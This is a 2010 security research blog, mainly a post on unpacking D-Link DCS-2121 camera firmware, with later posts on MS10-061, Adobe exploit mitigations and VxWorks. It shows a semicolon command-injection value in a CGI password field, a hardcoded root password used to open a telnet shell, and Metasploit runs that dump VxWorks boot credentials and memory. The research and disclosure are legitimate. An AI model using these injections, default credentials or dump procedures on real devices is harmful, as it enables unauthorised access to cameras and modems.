Monday, September 27, 2010

D-Link DCS-2121 and the state of embedded security

Introduction

I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:
  • Megapixel camera + microphone + speaker
  • WiFi, UPnP and dynamic DNS supported
  • Web and Mobile Web access to streaming data
  • Motion detection
  • SDCard recording
It is also an embedded system running Linux operating system; therefore I decided to have a look at it ;) A firmware upgrade is available here (version 1.04 at the time of writing), which is very convenient for further analysis.

Firmware analysis

$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
(...)

$ unzip dcs-2121_fw_1.04_3227.zip
Archive: dcs-2121_fw_1.04_3227.zip
inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt

$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable


Yes, firmware is … a shell script file! In fact, this file is broken into two parts:
  • A shell script
  • A binary blob

The shell script is very small - interesting parts are the following:

(...)
BLOCKS="norboot.bin(0x10000,65536),vmlinuz(0x60000,1048576),cram_image(0x160000,0x5E0000),autoboot.bin(0x2000,8192)"
(...)
extract() {
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
}
(...)
extract "$self" | ddPack - || exit 1
(...)

"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.

CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).

$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s


$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files


$ sudo mount -o loop,ro cramfs /mnt/loop/
ls /mnt/loop/
bin  dev  etc  lib  linuxrc  mnt  opt  proc  sbin  scripts  tmp  usr  var

We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)

#!/bin/sh


# get current setting from tdb
# format looks like VariableName_type
onGetSetting() {
        result=""
}


# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
onUpdateSetting() {
        result="ok"
        if [ "$command" = "on" ]; then
            /usr/sbin/telnetd 1>/dev/null 2>/dev/null
        else
            killall telnetd 1>/dev/null 2>/dev/null
        fi
}


onDumpXml() {
        xmlBegin index.xsl home-left.lang index.lang
        resultTag $result
        xmlEnd
}


scenario=$(basename $0 | cut -d'.' -f1)


. ../../xmlFunctions.sh
. ../../cgiMain.sh

However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().

var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches

Let's focus on those files, and look for possibly unsecure calls.

$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: %s/video
adv_sdcard.cgi: mkdir -m 0777  %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command

So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.

Try #1 with password "toto". Command result is "mntFailure".
Try #2 with password "toto;/bin/true". Command result is "ok" :)

It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?

"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.

(...)

start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
/bin/agent &
#/sbin/syslogd
addlog System is booted up.
echo "rc.local start ok."
}
(...)

So ... "root" password is hardcoded to "admin". How cool is that ? ;)

$ telnet 192.168.0.117 23

DCS-2121 login: root
Password: admin

BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
uname -a
Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown


Conclusion

As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.

Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)


Bonus: how to find D-Link cameras on the Internet.

Friday, September 17, 2010

MS10-061: "this is not the 0day you are looking for"

As usual, Microsoft Patch Tuesday has been interesting this month.

MS10-061 flaw strikes the Spooler service, and seems to have been exploited by the infamous StuxNet worm.

So, has it been "0day" (as many people tend to believe - like Kostya) ? (no offense man ;)

I let you read that press article from Hakin9 magazine, issue n°4/2009 - you can start reading at the bottom of page #29.


PS. For those of you who can read French, this article has also been quoted at the end of my "most viewed (and commented)" blog post. Hidden gem :)

Tuesday, September 14, 2010

Rapid publishing on recent Adobe flaws

"As usual", Adobe products (namely Adobe Reader and Flash Player) were recently targeted by "0day" attacks in the wild.

I did not have a look at the attacks myself, but several trusted sources (such as H. D. Moore) described the exploit as "great" because it is able to bypass DEP and ASLR on Windows Seven.

Various exploitation tricks have been detailed on blogs such as Metasploit and VUPEN. ASLR bypass mostly relies on a library (namely "icucnv36.dll") not being ASLR-compatible and always being loaded at its preferred base address.

Now to the point: for years, I have been using LookingGlass tool for preliminary triage before any application audit. It has been flying under the radar, but it works really great, and it is Open Source compiled in .NET bytecode.

Here is the result for an up-to-date Adobe Reader 9.3.4. It looks like there are still avenues for DEP/ASLR bypass :)

Wednesday, September 01, 2010

Follow-up on VxWorks issue

Introduction

As a follow-up to H. D. Moore research on VxWorks, I would like to share some personal thoughts on the matter.

I happen to have some experience with VxWorks, since this operating system used to be quite popular among broadband modem manufacturers. And I have always been fascinated by those SpyBoxes.

VxWorks software is now easier to get ahold of, since trial/evaluation software is readily available. However, by the time of VxWorks 5 (and older), things were a bit more tricky.

HDM pointed out that VxWorks source code leaked on PUDN Web site. As a rule of thumb, most of the world intellectual property is available from the Chinese Internet. However there are many other ways to browse the source (warning: all links below might disappear from the Internet without warning).
  • Universities and student projects [1]
  • Training courses [1]
  • VxWorks enthusiasts [1] [2] [3]
  • Third-party SDKs (for systems that have been built on the top of VxWorks) [1]
  • Hardware hackers [1]
In the end, whatever you are looking for, Internet has it :)

Authentication

Now let's have a look at VxWorks authentication mechanism (described here and here).


Quoting usrConfig.c:

(…)
loginInit (); /* initialize login table */
shellLoginInstall (loginPrompt, NULL); /* install security program */
/* add additional users here as required */
loginUserAdd (LOGIN_USER_NAME, LOGIN_PASSWORD);
}
#endif /* INCLUDE_SECURITY */
printLogo (); /* print out the banner page */
printf (" ");
printf ("CPU: %s. Processor #%d.\n", sysModel (), sysProcNumGet ());
printf (" ");
printf ("Memory Size: 0x%x.", sysMemTop () - (char *)LOCAL_MEM_LOCAL_ADRS);
printf (" BSP version %s.\n\n", bspVersion ());
(…)

Authentication is optional – #INCLUDE_SECURITY must be defined at compile time.

By default, loginUserAdd() must be called for creating each user account dynamically - there is no user/password "file" (since there might be no filesystem at all on the target system).

Password is "encrypted" using a VxWorks-proprietary algorithm. Quoting http://www.xs4all.nl/~borkhuis/vxworks/vxw_pt1.html:
"Q: How can I create (encrypted) passwords?
A: You can use vxencrypt that comes with Tornado to create passwords, but it is pretty weak.
I think it is sum( p[i] * i ^ i )) * 0x1e3a1d5 converted to ascii with a munged hex character set (presumably to make you think there are more than 2^32 encrypted passwords). I think I could reverse that using pen and paper."
Therefore it is possible to log into any VxWorks 5 system in default configuration, given the following steps:

  • Grab a copy of the firmware (more about this later)
  • Find the banner printing code
  • Look a few opcodes before - you will presumably find call(s) to loginUserAdd().
  • Reverse passwords (using pen and paper ;)
Practical use case

Let's take the Trio3C broadband modem that has been widely distributed by Neuf Telecom a few years ago. This model has been superseded by the NeufBox4, and you could find second-hand modems for less than 5 euros nowadays. Trio3C appears to be running under VxWorks 5, and to have remote debugging enabled.

$ ./msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 584 exploits - 297 auxiliary
+ -- --=[ 219 payloads - 27 encoders - 8 nops
       =[ svn r10182 updated today (2010.08.29)

msf| use auxiliary/scanner/vxworks/wdbrpc_bootline

msf auxiliary(wdbrpc_bootline)| set RHOSTS 192.168.1.1/32
RHOSTS =| 192.168.1.1/32

msf auxiliary(wdbrpc_bootline)| run

[*] 192.168.1.1: VxWorks5.4.2 Centillium Palladia 4K
[*] 192.168.1.1: BOOT: tffs=0,0(0,0)host:/tffs/vxworks.s e=192.168.1.4:0xffffff00 h=192.168.1.10 u=p220 pw=p220
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(wdbrpc_bootline)| use auxiliary/admin/vxworks/wdbrpc_memory_dump

msf auxiliary(wdbrpc_memory_dump)| set RHOST 192.168.1.1
RHOST =| 192.168.1.1

msf auxiliary(wdbrpc_memory_dump)| set LPATH /tmp/memory.dmp
LPATH =| /tmp/memory.dmp

msf auxiliary(wdbrpc_memory_dump)| run

[*] Attempting to dump system memory...
[*] 192.168.1.1 Connected to VxWorks5.4.2 - Centillium Palladia 4K ()
[*] Dumping 0x00fef800 bytes from base address 0x80000000 at offset 0x00000000...
[*] [ 00 % ] Downloaded 0x00000b18 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:11 +0200 2010)
[*] [ 00 % ] Downloaded 0x000010a4 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:34 +0200 2010)
(...)
[*] Dumped 0x00fefba0 bytes.
[*] Auxiliary module execution completed

The complete memory dump decompiles cleanly in IDA Pro [*] (base ROM address is kindly provided by the debugger).


Unfortunately for the demo, it appears that no hardcoded account is to be found. User accounts and (cleartext) passwords are stored within a configuration file. But that was a fun exercise anyway :)



[*] Actually not, I had to request a patch for the MIPS processor module :)